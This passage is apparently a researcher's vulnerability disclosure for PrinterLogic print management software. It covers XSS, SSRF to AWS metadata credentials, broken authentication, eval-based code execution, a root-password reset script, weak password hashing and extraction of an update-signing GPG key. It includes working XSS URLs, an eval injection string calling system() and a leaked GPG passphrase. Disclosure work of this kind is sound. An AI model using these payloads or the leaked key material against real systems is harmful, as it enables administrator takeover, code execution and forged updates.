52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:32 +0000] "GET /?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"
52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:33 +0000] "GET /?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"
52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:33 +0000] "GET /?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"
52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:34 +0000] "GET /?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"
52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:35 +0000] "GET /?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"
52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:35 +0000] "GET /?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"
52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:36 +0000] "GET /?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"
52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:37 +0000] "GET /?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"
52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:37 +0000] "GET /?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"
52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:38 +0000] "GET /?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"
52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:39 +0000] "GET /?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"
This can be also used to store XSS and attack administrators by stealing their cookies with javascript embedded inside the webpage http://10.105.0.241/console_release/samsung/get_device_info.php?printer_id=X
if the attacker loses admin access to the solution.
The SSRF attacks described above require administrator privileges but they can be used to retrieve credentials provided by AWS meta-data server (http://169.254.169.254/latest/meta-data/iam/security-credentials
) and to compromise the entire AWS infrastructure used by all the Vasion PrinterLogic customers.
Due to the high number of SSRF vulnerabilities, only a small part was analyzed.
4 different XSS can be found in /var/www/app/console_release/fast_release/register_badge_new.php
in lines 42, 61, 79 and 80:
Content of /www/app/console_release/fast_release/register_badge_new.php
:
1 <?php [...] 17 $username = requeststr("username"); 18 $badgeid = requeststr("badgeid"); 19 $action = requeststr("action"); [...] 42 value="<?php echo $username ?>" disabled /> [...] 61 <input type="text" id="badge_rfid_data" style="width: 100%;" value="<?php echo $badgeid ?>" /> [...] 79 <input type="hidden" id="action" value="<?php echo $action ?>"/> 80 <input type="hidden" id="badge_rfid_data_original" value="<?php echo $badgeid ?>"/> [...]
https://[redacted].printercloud10.com/console_release/fast_release/register_badge_new.php?username=%22%3E%3Cscript%3Ewindow.alert(%22XSS%22);%3C/script%3E
The XSS can be used to steal cookies of administrators and get administrator access to the solution.
Using the previous Incorrect Access Control to PHP webpages allowing to reach printers, it is possible to directly reach /var/www/app/admin/design/reports/overview_popup.php
without authentication.
This PHP code contains several XSS.
Content of /var/www/app/admin/design/reports/overview_popup.php
:
1 <?php [...] 11 $start_date = requeststr("start_date"); 12 $stop_date = requeststr("stop_date"); 13 $title = 'Print Job Records Overview for ' . $start_date . ' to ' . $stop_date;
PoCs:
kali% wget -qO- "http://10.105.0.241/admin/design/reports/overview_popup.php?start_date=<XSS1>" | grep XSS
<title>Print Job Records Overview for <XSS1> to </title>
kali% wget -qO- "http://10.105.0.241/admin/design/reports/overview_popup.php?stop_date=<XSS2>" | grep XSS
<title>Print Job Records Overview for to <XSS2></title>
kali%
http://10.105.0.241/admin/design/reports/overview_popup.php?export=1&report_type=Overview+-+All&sort_by=&sort_order=0&page=1&start_date=2022%2F02%2F07%3Cscript%3Ealert(document.cookie)%3C/script%3E&stop_date=2022%2F02%2F07&start_time=12%3A00+AM&stop_time=11%3A59+PM&time_offset=-18000&order=&user_name=%3CXSS2%3E&job_title=&computer_name=&manager_name=&department_name=&printer_name=&printer_type=printer_type_all&job_type=job_type_all&user_name_wildcard=*&company_name_wildcard=*&job_title_wildcard=*&manager_name_wildcard=*&department_name_wildcard=*&printer_name_wildcard=*&folder_path=TEST-COMPANY&show_tcpip_printers=1&show_usb_printers=1&show_folder_accumulate=0&async_database_query_ids[]=dt20220207065229_23092&async_database_query_ids[]=dt20220207065229_23093&async_database_query_ids[]=dt20220207065229_23094&async_database_query_ids[]=dt20220207065229_23095&async_database_query_ids[]=dt20220207065230_23096&async_database_query_ids[]=dt20220207065230_23097&async_database_query_ids[]=dt20220207065230_23098&async_database_query_ids[]=dt20220207065230_23099&async_database_query_ids[]=dt20220207065230_23100&async_database_query_ids[]=dt20220207065230_23101
The same vulnerability in found in the SaaS version:
https://[redacted].printercloud10.com/admin/design/reports/overview_popup.php?export=1&report_type=Overview+-+All&sort_by=&sort_order=0&page=1&start_date=2022%2F02%2F07%3Cscript%3Ealert(%27XSS%27)%3C/script%3E&stop_date=2022%2F02%2F07&start_time=12%3A00+AM&stop_time=11%3A59+PM&time_offset=-18000&order=&user_name=%3CXSS2%3E&job_title=&computer_name=&manager_name=&department_name=&printer_name=&printer_type=printer_type_all&job_type=job_type_all&user_name_wildcard=*&company_name_wildcard=*&job_title_wildcard=*&manager_name_wildcard=*&department_name_wildcard=*&printer_name_wildcard=*&folder_path=TEST-COMPANY&show_tcpip_printers=1&show_usb_printers=1&show_folder_accumulate=0&async_database_query_ids[]=dt20220207065229_23092&async_database_query_ids[]=dt20220207065229_23093&async_database_query_ids[]=dt20220207065229_23094&async_database_query_ids[]=dt20220207065229_23095&async_database_query_ids[]=dt20220207065230_23096&async_database_query_ids[]=dt20220207065230_23097&async_database_query_ids[]=dt20220207065230_23098&async_database_query_ids[]=dt20220207065230_23099&async_database_query_ids[]=dt20220207065230_23100&async_database_query_ids[]=dt20220207065230_23101
Futhermore, this webpage implements non-working authentication - authentication is only done at the end of the code, after the entire webpage has been executed by PHP.
Content of /var/www/app/admin/design/reports/overview_popup.php
:
1 <?php [...] 59 <?php 60 require_once(ABSPATH . "admin/query/audit_records.php"); 61 ?> 62 </body> 63 </html>
/www/app/admin/query/audit_records.php
is doing a check of authentication but this page is only included at the end of the PHP code, nullifying the authentication mechanism:
Content of /var/www/app/admin/query/audit_records.php
:
1 <?php 2 use PrinterLogicLegacy\AuditHelpers; 3 4 require_once ("global.php"); 5 6 require_once (ABSPATH . "lib/dao/dbopen.php"); 7 require_once (ABSPATH . "lib/dao/print_stat_dao.php"); 8 9 if(!GLOBALS::$login->is_logged_in()) 10 { 11 respond_html_expired(); 12 return; 13 }
An attacker can use XSS vulnerabilities to steal administrator's cookies.
The pages located in the /var/www/app/admin
directory contain several XSS.
The page /var/www/app/admin/query/audit_records.php
will retrieve attacker-controlled variables from line 15 to line 42 and then will include audit_records_html.php
on line 44.
Content of /var/www/app/admin/query/audit_records.php
:
1 <?php [...] 9 if(!GLOBALS::$login->is_logged_in()) 10 { 11 respond_html_expired(); 12 return; 13 } 14 15 $async_database_query_ids = isset($_REQUEST["async_database_query_ids"]) ? $_REQUEST["async_database_query_ids"] : null; 16 $export = requestint("export", 0); 17 $report_type = requeststr("report_type", "Overview"); 18 $sort_by = requeststr("sort_by"); 19 $sort_order = requestint("sort_order", 1); 20 $sort_char = "ɛ" . ($sort_order === 0 ? "C" : "2") . ";"; 21 22 $page = requestint("page", 1); 23 $start_date = requeststr("start_date"); 24 $stop_date = requeststr("stop_date"); 25 $start_time = requeststr("start_time"); 26 $stop_time = requeststr("stop_time"); 27 $time_offset = requeststr("time_offset"); 28 29 $user_name = requeststr("user_name", null); 30 $job_title = requeststr("job_title", null); 31 $computer_name = requeststr("computer_name", null); 32 $manager_name = requeststr("manager_name", null); 33 $department_name = requeststr("department_name", null); 34 $printer_name = requeststr("printer_name", null); 35 $printer_type = requeststr("printer_type"); 36 $job_type = requeststr("job_type"); 37 38 $folder_path = requeststr("folder_path", ""); 39 40 $show_tcpip_printers = requestint("show_tcpip_printers", 1); 41 $show_usb_printers = requestint("show_usb_printers", 1); 42 $show_folder_accumulate = requestint("show_folder_accumulate", 1); 43 44 require_once('audit_records_html.php');
4 different XSS /var/www/app/admin/query/audit_records_html.php
:
Content of /var/www/app/admin/query/audit_records.php
:
1 <?php [...] 9 if(!GLOBALS::$login->is_logged_in()) 11 case 'overview - paper size': 12 if (strtolower($report_type) === "overview - all") { 13 $title = 'Print Job Records Overview for ' . $start_date . ' to ' . $stop_date; [1] XSS with $start_date and $stop_date 14 print "<h1>{$title}</h1>"; [2] XSS with ${title} 15 } 16 require_once ABSPATH . "admin/design/reports/overview_main.php"; 17 break; 18 case 'records': 19 require_once ABSPATH . "admin/design/reports/print_job_records.php"; 20 break; 21 case 'user': 22 $object_name = "User"; 23 require_once ABSPATH . "admin/design/reports/print_job_others.php"; 24 break; 25 case 'manager': 26 $object_name = "Manager"; 27 require_once ABSPATH . "admin/design/reports/print_job_others.php"; 28 break; 29 case 'department': 30 $object_name = "Department"; 31 require_once ABSPATH . "admin/design/reports/print_job_others.php"; 32 break; 33 case 'job title': 34 $object_name = "Job Title"; 35 require_once ABSPATH . "admin/design/reports/print_job_others.php"; 36 break; 37 case 'printer': 38 $object_name = "Printer"; 39 require_once ABSPATH . "admin/design/reports/print_job_others.php"; 40 break; 41 case 'folder': 42 $object_name = "Folder"; 43 require_once ABSPATH . "admin/design/reports/print_job_folder.php"; 44 break; 45 default: 46 echo "Report type is not supported: '$report_type'"; [3] XSS because $report_type = requeststr("report_type", "Overview"); 47 break;
Then the php files that are included from the audit_records_html.php
also contain XSS:
Content of /var/www/app/admin/design/reports/print_job_others.php
, with 12 XSS:
1 <?php [...] 76 $header_params = array( 77 'report_type' => $report_type, 78 'start_date' => $start_date, 79 'start_time' => $start_time, 80 'stop_date' => $stop_date, 81 'stop_time' => $stop_time, 82 ); [...] 208 report_header($header_params); [1] 6 XSS [...] 213 report_header($header_params); [6] 6 XSS
With the function report_header()
implemented in /web/www/app/helpers/reports.php
:
1 <?php [...] 316 function report_header($params = array()) { 317 $report_type = (isset($params['report_type'])) ? $params['report_type'] : ''; 318 $start_date = (isset($params['start_date'])) ? $params['start_date'] : ''; 319 $start_time = (isset($params['start_time'])) ? $params['start_time'] : ''; 320 $stop_date = (isset($params['stop_date'])) ? $params['stop_date'] : ''; 321 $stop_time = (isset($params['stop_time'])) ? $params['stop_time'] : ''; 322 323 $date_range = $start_date . ' ' . $start_time . ' - ' . $stop_date . ' ' . $stop_time; [...] 335 <h2><?php echo $report_type; ?></h2> [1] XSS 336 <h3><?php echo $date_range; ?></h3> [2] XSS
These values are:
These 4 variables come from audit_records.php:
Content of /var/www/app/admin/query/audit_records.php
:
1 <?php [...] 23 $start_date = requeststr("start_date"); 24 $stop_date = requeststr("stop_date"); 25 $start_time = requeststr("start_time"); 26 $stop_time = requeststr("stop_time");
Same XSS for /var/www/app/admin/design/reports/print_job_folder.php
:
Content of /var/www/app/admin/design/reports/print_job_folder.php
:
1 <?php [...] 240 $params = array( 241 'report_type' => $report_type, 242 'start_date' => $start_date, 243 'start_time' => $start_time, 244 'stop_date' => $stop_date, 245 'stop_time' => $stop_time, [...] 261 report_header($params); [1] 6 XSS [...] 266 report_header($params); [2] 6 XSS
Same XSS for /www/app/admin/design/reports/print_job_records.php
:
Content of /www/app/admin/design/reports/print_job_records.php
:
1 <?php [...] 227 $params = [ 228 'report_type' => $report_type, 229 'start_date' => $start_date, 230 'start_time' => $start_time, 231 'stop_date' => $stop_date, 232 'stop_time' => $stop_time, ... 258 report_header($params); [1] 6 XSS ... 263 report_header($params); [2] 6 XSS
/var/www/app/admin/design/reports/overview_main.php
will include several files depending on the $report_type (attacker-controlled value):
This provides some other XSS vulnerabilities:
In /var/www/admin/design/reports/overview_summary.php
:
1 <?php [...] 32 $params = array( 33 'report_type' => $report_type, 34 'start_date' => $start_date, 35 'start_time' => $start_time, 36 'stop_date' => $stop_date, 37 'stop_time' => $stop_time, 38 ); 39 report_header($params); [1] 6 XSS
In /var/www/admin/design/reports/overview_total_per_week.php
:
1 <?php [...] 51 $params = array( 52 'report_type' => $report_type, 53 'start_date' => $start_date, 54 'start_time' => $start_time, 55 'stop_date' => $stop_date, 56 'stop_time' => $stop_time, 57 ); 58 report_header($params); [1] 6 XSS
Same XSS issues in:
Other XSS were found in different files:
Content of /var/www/app/admin/query/audit_auditrecords.php
:
1 <?php [...] 89 var data = { 90 'validcheck': true, 91 'report_params': { 92 'start_date': '<?= requeststr('start_date') ?>', [1] XSS everywhere 93 'stop_date': '<?= requeststr('stop_date') ?>', 94 'start_time': '<?= requeststr('start_time') ?>', 95 'stop_time': '<?= requeststr('stop_time') ?>', 96 'time_offset': '<?= requestint('time_offset') * 60 * 60 ?>', 97 'object_name': '<?= requeststr('object_name', '') ?>', 98 'username': '<?= requeststr('username') ?>', 99 'object_type': '<?= requestint('object_type',0) ?>', 100 'object_id': '<?= requestint('object_id',0) ?>', 101 'order': '<?= requeststr('order','') ?>',
With the function requeststr()
function implemented in /var/www/app/lib/common/global.inc.php
. Futhermore, stripslashes()
doesn't protect against XSS.
Content of /var/www/app/lib/common/global.inc.php
:
1 <?php [...] 253 if (!function_exists('requeststr')) 254 { 255 function requeststr($str, $def = NULL) 256 { 257 $r = $def; 258 if(isset($_GET[$str])) 259 { 260 $r = $_GET[$str]; 261 if(quotes_on()) 262 { 263 $r = stripslashes($r); 264 } 265 } 266 else if(isset($_POST[$str])) 267 { 268 $r = $_POST[$str]; 269 if(quotes_on()) 270 { 271 $r = stripslashes($r); 272 } 273 } 274 return $r; 275 } 276 }
A trivial exploit of a previous XSS is shown below:
http://10.105.0.241/admin/query/audit_auditrecords.php?order='XSS
https://[redacted].printercloud10.com/admin/query/audit_auditrecords.php?order=%27%3C/script%3E%3Cscript%3Ealert(%27XSS%27)%3C/script%3E
/var/www/app/admin/design/reports/chart_image.php
is also interesting because it will blindly trust attacker-controlled data ($description
and requeststr("title")
). It is recommended to correctly escape them:
Content of /var/www/app/admin/design/reports/chart_image.php
:
1 <?php [...] 50 $description = json_decode(base64_decode(requeststr("datasetdescription")), true); [...] 82 $chart->drawScale($data, $description, SCALE_NORMAL, 150, 150, 150, true, 45, 0, true); [...] 84 $chart->drawLineGraph($data, $description); 85 $chart->drawPlotGraph($data, $description, 3, 2, 255, 255, 255); [...] 89 $chart->drawBasicPieGraph($data, $description, $width / 2, $height / 2, min($width, $height) / 2.6, PIE_PERCENTAGE); 90 $chart->drawPieLegend($width - $legend_width - 15, 25, $data, $description, 250, 250, 250); [...] 97 $chart->drawScale( 98 $data, $description, SCALE_NORMAL, 150, 150, 150, true, $x_axis_label_angle, 0, true); [...] 100 $chart->drawBarGraph($data, $description, 50, true); 101 $chart->drawLegend($width - $legend_width - 30, 45, $description, 250, 250, 250); $data also: 49 $data = json_decode(base64_decode(requeststr("datasetdata")), true); [...] 82 $chart->drawScale($data, $description, SCALE_NORMAL, 150, 150, 150, true, 45, 0, true); [...] 84 $chart->drawLineGraph($data, $description); 85 $chart->drawPlotGraph($data, $description, 3, 2, 255, 255, 255); [...] 89 $chart->drawBasicPieGraph($data, $description, $width / 2, $height / 2, min($width, $height) / 2.6, PIE_PERCENTAGE); 90 $chart->drawPieLegend($width - $legend_width - 15, 25, $data, $description, 250, 250, 250); [...] 97 $chart->drawScale( 98 $data, $description, SCALE_NORMAL, 150, 150, 150, true, $x_axis_label_angle, 0, true); [...] 100 $chart->drawBarGraph($data, $description, 50, true); [...] 103 $chart->drawTitle(60, 22, requeststr("title", ""), 50, 50, 50, $width - 100);
The solution includes a large number of XSS, allowing an attacker to steal administrator's cookies.
I didn't complete analyzing XSS because the numbers of findings were already too big. Consequently, the provided list is not exhaustive.
The PHP code uses insecure eval()
with attacker-controlled data. This allows an attacker with administrator privileges to get Remote Code Execution on the solution.
Content of /var/www/app/admin/design/addip.php
- the function ut()
will eval()
attacker-controlled data.
1 <?php [...] 217 <?php 218 function ut($prop) { // [1] insecure ut() function 219 global $printer_dao,$printer_vo,$search_folder; 220 if(isset($printer_dao)) { 221 echo "<div class=\"ip-current-val\">"; 222 eval("echo escape_html(".$prop.");"); // [2] a wild eval() appears! 223 echo "</div>"; 224 } 225 } [...] 253 <?php ut("\$printer_vo->str_title"); ?> // [3] call to ut() with attacker-controlled data 254 </div> 255 <div class="form-field"> 256 <label class="ff-label" for="IPAddress">IP Address or Hostname:</label> 257 <br/><input maxlength="128" type='text' id='IPAddress' name='IPAddress' class="full-width-textbox" 258 value="<?php echo escape_attr_html($def_hostaddress); ?>" onKeyDown="return helper.handle_special_input(event,'add_ip_close');" /> 259 <?php ut("\$printer_vo->str_host_address"); ?> // [4] call to ut() with attacker-controlled data [...] 319 <?php ut("\$printer_vo->str_comment"); ?> // [5] call to ut() with attacker-controlled data [...] 344 <?php ut("\$search_folder"); ?> // [6] call to ut() with attacker-controlled data
This code can be escaped with:
$prop = "'a');system('ls');//"
Exploitation is possible using /var/www/app/admin/index.php
. The variables stored in $_SESSION
will be used to set the variables $printer_vo->str_title
, $printer_vo->str_host_address
, $printer_vo->str_comment
and $search_folder
in /var/www/app/admin/design/addip.php
.
Content of /var/www/app/admin/index.php
:
1 <?php [...] 49 if((requestint('adddirectip',0)==1)|| 50 (requestint('updatedirectip',0)==1)) 51 { 52 @session_start(); 53 $_SESSION['preserve']['addip']=(requestint('adddirectip',0)==1)?1:2; 54 $_SESSION['preserve']['folder']=requeststr('folder'); 55 $_SESSION['preserve']['printername']=requeststr('printername'); 56 $_SESSION['preserve']['hostaddress']=requeststr('hostaddress'); 57 $_SESSION['preserve']['location']=requeststr('location'); 58 $_SESSION['preserve']['comment']=requeststr('comment'); 59 $_SESSION['preserve']['iscolor']=requeststr('iscolor'); 60 $_SESSION['preserve']['new_folder']=requeststr('new_folder'); 61 $_SESSION['preserve']['new_printername']=requeststr('new_printername'); 62 63 @session_write_close(); 64 header('location: '.remove_relative(ABSURL."admin/")); 65 return; 66 }
A possible url is: http://10.105.0.241/admin/index.php?updatedirectip=1&folder=NOP&printername=TEST&hostaddress=POC&location=Location&comment=Comment&iscolor=Color&new_folder=new_fold&new_printername=New_name
.
I found other calls to eval()
but their exploitations are not trivial and will require more time to analyse the execution flow.
An attacker with admin privileges can execute code on the solution.
It was observed that some PHP dead codes exist in the solution.
For example, /web/www/app/resetroot.php
inside several Docker instances - including Docker instances executing PHP code - is a PHP script that doesn't check authentication and that will change the password of the mysql root user to password
.
On lines 6 to 10, it appears the verification of the IP has been commented.
On lines 15 and 16, the password is redefined to password
(sha512("password") = "b109f3bbbc244eb82441917ed06d618b9008dd09b3befd1b5e07394c706a8bb980b1d7785e5976ec049b46df5f1326af5a2ea6d103fd07c95385ffab0cacbc86"
).
Content of /var/www/app/resetroot.php
:
1 <html> 2 <head> 3 </head> 4 <body> 5 <?php 6 /*if(strpos('127.0.0.1',$_SERVER['HTTP_HOST'])===false) { 7 echo "This page can only be executed from a browser running on the web server, using http://127.0.0.1/"; 8 // echo $_SERVER['HTTP_HOST']; 9 die(); 10 }*/ 11 require_once("global.php"); 12 require_once(ABSPATH."lib/dao/dbopen.php"); 13 $dao=new data_access(); 14 $dao->allow_write(); 15 if($dao->qry("UPDATE `ppp_users` SET `username` = 'root', 16 my_password = 'b109f3bbbc244eb82441917ed06d618b9008dd09b3befd1b5e07394c706a8bb980b1d7785e5976ec049b46df5f1326af5a2ea6d103fd07c95385ffab0cacbc86' WHERE `ppp_users`.`user_type`=1")) { 17 echo "The root account has been reset to <br /><br />username: <b>root</b> <br />password: <b>password</b>"; 18 } else { 19 echo "Unable to reset root account: ".$dao->last_error; 20 } 21 22 ?> 23 </body> 24 </html>
/var/www/app/lib/common/oses.php
is also very interesting:
Content of /var/www/app/lib/common/oses.php
:
1 <?php [...] 3 //since we are suffering the overhead of sessions, we may as well used them to cache 4 //constantly needed data, like the os list 5 //this also gives a handy way of limiting the visible OSes for the logged in user which 6 //at some point will be different than the available oses 7 /* if(isset($_SESSION['osdata'])) { 8 @self::$oses_max=intval($_SESSION['osesmax']); 9 @self::$oses=unserialize($_SESSION['osdata']); // [1] <-- ! 10 }*/ //removed 4/1/2013 from all versions. It causes too many problems when it does change. and isn't really that much benefit 11
This code will unserialize $_SESSION["osdata"]
on line 9, resulting in a Remote Code Execution - fortunately, this code has been commented by the vendor.
An attacker that achieves to execute this PHP code will reset the mysql root password to password
.
When analyzing the 20.0.1305.gpg
update file, it appears some shell scripts inside docker instances will run SSH with insecure options.
Forwarding SSH-Agent without checking the SSH key of the SSH server will allow an attacker to do lateral movements using the private SSH key of the developers:
Content of ./out-images/47a0cd7c12483185df274392eff25d238b60ba7589e5081bd8debef0ef9da9ef/opt/bin/stack-cmd.sh
:
89 # Now run command 90 for i in "${IPS[@]}" 91 do 92 # Skip blank or "not found" 93 if [ -z "${i}" ] || [[ ${i} == *"Unable to find"* ]]; then 94 continue 95 fi 96 echo -e "\n...Running on ${i}..." 97 98 # if CMD is a script then substitute any env vars locally and execute remotely 99 if [ -f "${CMD}" ]; then 100 color eval "ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -o LogLevel=error $i 'bash /dev/stdin' < <(cat "${CMD}" | envsubst)${ASYNC}" || exit 1 101 else 102 # else just execute CMD string on remote host 103 color eval "ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -o LogLevel=error -n $i 'bash -l -c \"${CMD}\"'${ASYNC}" || exit 1 104 fi 105 done;
Content of ./out-images/47a0cd7c12483185df274392eff25d238b60ba7589e5081bd8debef0ef9da9ef/opt/includes/ssh.config.developers
:
kali% cat ./out-images/47a0cd7c12483185df274392eff25d238b60ba7589e5081bd8debef0ef9da9ef/opt/includes/ssh.config.developers Host 10.*.*.* ForwardAgent yes StrictHostKeyChecking no UserKnownHostsFile /dev/null Host *.compute.internal ForwardAgent yes StrictHostKeyChecking no UserKnownHostsFile /dev/null kali%
These insecure options appear to be present in several Docker instances:
kali% pwd /home/user/printerlogic/updates/out/out-images/4ecc6d1307c1c74ddccbdc983b2fe024742ec0531265255b5730dcb5afc0fa52 kalim% rgrep -i strict . [...] ./opt/includes/ssh.config.developers: StrictHostKeyChecking no ./opt/includes/ssh.config.developers: StrictHostKeyChecking no [...] ./opt/bin/stack-cmd.sh: color eval "ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -o LogLevel=error $i 'bash /dev/stdin' < <(cat "${CMD}" | envsubst)${ASYNC}" || exit 1 ./opt/bin/stack-cmd.sh: color eval "ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -o LogLevel=error -n $i 'bash -l -c \"${CMD}\"'${ASYNC}" || exit 1
A developer that will ssh into a compromised solution will get his ssh-agent compromised, allowing an attacker to do lateral movements.
The script will blindly reach SSH servers, without checking their identities.
It was observed that the passwords are encrypted using SHA-512 with a fall-back to SHA-1 (in update_database.php
and Login.php
):
Content of /var/www/app/admin/query/server_write_requests_users.php
:
1 <?php [...] 198 if (strlen(trim($password)) != 0) { 199 $securepass = hash('sha512', $password); // [1] use of SHA-512 200 $user_vo->str_my_password = $securepass; 201 } 202
Content of /var/www/app/admin/query/update_database.php
:
1 <?php [...] 74 $sha512Password = hash('sha512', "password"); // [1] use of SHA-512 75 $sha1Password = hash('sha1', "password"); // [2] use of SHA-1 [...] 86 // Check to make sure the root user has the initial email/password, so that this cant be used to change any users email/password 87 if ($user_vo->str_email_address == "admin" && 88 ($user_vo->str_my_password == $sha512Password || // [3] use of SHA-512 89 $user_vo->str_my_password == $sha1Password)) { // [4] fall-back to SHA-1 [...] 98 $user_vo->str_my_password = hash('sha512', $root_password); // [5] use of SHA-521
Content of /var/www/app/legacy/Login.php
:
1 <?php [...] 426 $tempPass = hash('sha512', $pw); [1] use of SHA-512 [...] 440 /** 441 * When we switched to sha512, we need to provided temporary checking for accounts 442 * that haven't been switched yet. Eventually, this code should be removed and any 443 * remaining users who still have an sha1 hash will have to reset their password. At that point, 444 * however, most users should have already been converted. 445 */ 446 if (!$sr) { 447 $sha1_pass = sha1($pw); // [2] use of SHA-1 448 $sr = $user_dao->find_by_login($username, $sha1_pass, $user_vo); // [3] use of SHA-1 449 if ($sr) { 450 /* Convert their password to sha512 */ 451 $user_vo->str_my_password = $tempPass; // [3] migration to SHA-521 452 $user_dao->allow_write(); 453 $user_dao->save($user_vo); 454 }//end if 455 }//end if [...] 1147 if (!$user_dao->find_by_login($username, $tempPass, $user_vo)) { 1148 /** 1149 * When we switched to sha512, we need to provided temporary checking for accounts 1150 * that haven't been switched yet. Eventually, this code should be removed and any 1151 * remaining users who still have an sha1 hash will have to reset their password. At that point, 1152 * however, most users should have already been converted. 1153 */ 1154 $sha1_pass = sha1($pw); 1155 $sr = $user_dao->find_by_login($username, $sha1_pass, $user_vo); // [4] use of SHA-1 1156 if ($sr) { 1157 /* Convert their password to sha512 */ 1158 $user_vo->str_my_password = $tempPass; // [5] migration to SHA-512 1159 $user_dao->allow_write(); 1160 $user_dao->save($user_vo); 1161 } else { 1162 $this->last_error = "The username or password is incorrect."; 1163 return null; 1164 }
Content of /var/www/app/tests/Unit/Api/IdP/IdpControllerTest.php
:
1 <?php [...] 443 $hashString = "PrinterLogicIdpAuthentication{$mockDateTimeString}"; 444 $hash = hash('sha512', $hashString); // [1] use of SHA-512 445 446 //Act 447 $apiResponse = $this->json( 448 'GET', 449 "/api/idp", 450 [], 451 [ 452 'x-printerlogic-hash' => $hash, 453 'x-printerlogic-datetime' => $mockDateTimeString 454 ] 455 );
Interestingly, a custom implementation of PBKDF2-HMAC-SHA512 can be found inside /var/www/app/legacy/Security/Crypt.php
, but the code is not used to store passwords. This implementation seems to have been copied from https://www.php.net/manual/en/function.hash-pbkdf2.php#118301 and doesn't seem to be compatible with the original PBKDF2-HMAC-SHA512 implementation. The execution flow is shown below:
Content of /var/www/app/legacy/Security/Crypt.php
:
1 <?php [...] 269 protected function getKeys($salt, $key) 270 { 271 $ivSize = openssl_cipher_iv_length($this->cipher); 272 $keySize = 256; 273 $length = 2 * $keySize + $ivSize; 274 275 $key = $this->pbkdf2('sha512', $key, $salt, $this->rounds, $length); [...] 367 public function pbkdf2($algo, $key, $salt, $rounds, $length) 368 { 369 return self::cachedPbkdf2($algo, $key, $salt, $rounds, $length); 370 } [...] 340 */ 341 public static function cachedPbkdf2($algo, $key, $salt, $rounds, $length) 342 { 343 $bucket = $algo . "." . $rounds . "." . $length; 344 if (!isset(self::$pbkdf2Cache[$bucket][$key][$salt])) { 345 $hash = self::PrinterLogicHashPbkdf2($algo, $key, $salt, $rounds, $length); [...] 288 /** 289 * Identical to built in function hash_pbkdf2 ... except it isn't. This produces different results. 290 * Despite being much slower, its what is already in the wild, changing it now would be difficult. 291 * 292 * @param $algorithm 293 * @param $key 294 * @param $salt 295 * @param $rounds 296 * @param $length 297 * @return bool|string 298 */ 299 private static function PrinterLogicHashPbkdf2($algorithm, $key, $salt, $rounds, $length) 300 { 301 $size = strlen(hash($algorithm, '', true)); 302 $len = ceil($length / $size); 303 $result = ''; 304 for ($i = 1; $i <= $len; $i++) { 305 $tmp = hash_hmac($algorithm, $salt . pack('N', $i), $key, true); 306 $res = $tmp; 307 for ($j = 1; $j < $rounds; $j++) { 308 $tmp = hash_hmac($algorithm, $tmp, $key, true); 309 $res ^= $tmp; 310 } 311 $result .= $res; 312 } 313 return substr($result, 0, $length); 314 }
This code is very similar to the example shown on PHP.net:
https://www.php.net/manual/en/function.hash-pbkdf2.php#118301
SHA-1 and SHA-512 are used to compute a cryptographic summary (checking the integrity of a file or making an electronic signature). They are not suitable for storing passwords because they are fast to calculate.
Storing passwords in SHA-512 does not follow best security practices. There is no salt and the hashes are easily bruteforcable or found using rainbow tables.
Fall-back to SHA-1 absolutely does not follow best security practices. There is no salt and the hashes are easily bruteforcable or found using rainbow tables.
It was observed the firmware update images were encrypted but not signed.
The Docker images contain the public and private keys for no-reply+virtual-appliance@printerlogic.com
.
Extraction of the GPG private key:
root@printerlogic:~# cp -r /var/lib/docker/overlay2/./995aff33d0f19af66d462b38164604709d2164b47b057411a1fcac3ef0118197/diff/home/ubuntu/.gnupg/ ~/
root@printerlogic:~# grep GPG /var/lib/docker/image/overlay2/imagedb/content/sha256/*
[...]
APPLIANCE_GPG_PASSPHRASE=50370a0d-65b4-4b2a-a2a2-ea0d6ff35ef4
[...]
root@printerlogic:~# gpg --list-keys --with-keygrip
/root/.gnupg/pubring.kbx
------------------------
pub rsa4096 2020-01-23 [SC]
CADA0B06D8ADA5A72C52F5FB09BD9E367DA10998
Keygrip = 5FA855131102B4D03D9D21F1D081CB1DBA100953
uid [ultimate] PrinterLogic Virtual Appliance Team <no-reply+virtual-appliance@printerlogic.com>
sub rsa4096 2020-01-23 [E]
Keygrip = 45066ADCF538743121004158DD3BA4C62EA82177
sub rsa4096 2020-01-23 [S]
Keygrip = DD8FA6CE5BAA3DF02E406A0ECF9F798F43E146F9
root@printerlogic:~# gpg --list-secret-keys
/root/.gnupg/pubring.kbx
------------------------
sec# rsa4096 2020-01-23 [SC]
CADA0B06D8ADA5A72C52F5FB09BD9E367DA10998
uid [ultimate] PrinterLogic Virtual Appliance Team <no-reply+virtual-appliance@printerlogic.com>
ssb rsa4096 2020-01-23 [E]
ssb# rsa4096 2020-01-23 [S]
root@printerlogic:~# gpg --export-secret-keys -a > out.key
